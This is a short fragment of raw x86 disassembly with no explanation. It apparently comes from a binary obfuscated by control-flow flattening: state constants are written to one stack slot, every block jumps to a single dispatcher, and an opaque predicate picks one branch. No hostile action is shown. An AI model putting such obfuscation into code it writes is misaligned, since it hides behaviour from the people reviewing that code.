mov eax, dword [eax]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x100], 0x5d414baa
jmp 0x1000bb8b
mov dword [ebp - 0x100], 0x64167f11
jmp 0x1000bb8b
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb2619271
mov ecx, 0x2d34911a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x100], eax
jmp 0x1000bb8b
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x10018200]
movss dword [eax], xmm0
mov dword [ebp - 0x100], 0xdece9937
jmp 0x1000bb8b
mov eax, dword [ebp - 0xec]
movss xmm0, dword [0x100181e4]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xec]
movss xmm0, dword [0x100181e0]
movss dword [eax], xmm0
mov dword [ebp - 0x100], 0xbb1ec15
jmp 0x1000bb8b
mov eax, dword [ebp - 0xe8]
movss xmm0, dword [0x100181d4]
movss dword [eax], xmm0
mov dword [ebp - 0x100], 0xc6f3060d
jmp 0x1000bb8b
mov eax, dword [ebp - 0xe8]
movss xmm0, dword [0x100181d0]
movss dword [eax], xmm0
mov dword [ebp - 0x100], 0x22e029ad
jmp 0x1000bb8b
mov dword [ebp - 0x100], 0x1f5126de
jmp 0x1000bb8b
mov dword [ebp - 0x100], 0x8934ae49
jmp 0x1000bb8b
mov dword [ebp - 0x100], 0x40f405a5
jmp 0x1000bb8b
mov eax, dword [ebp - 0x9c]
mov dword [eax], 0
mov dword [ebp - 0x100], 0xce2e627a
jmp 0x1000bb8b
mov dword [ebp - 0x100], 0x1808c3
jmp 0x1000bb8b
mov eax, dword [ebp - 0x88]
mov ecx, dword [ebp - 0x20]
mov dword [eax], ecx
mov dword [ebp - 0x100], 0x4001cc1c
jmp 0x1000bb8b
jmp 0x10002f17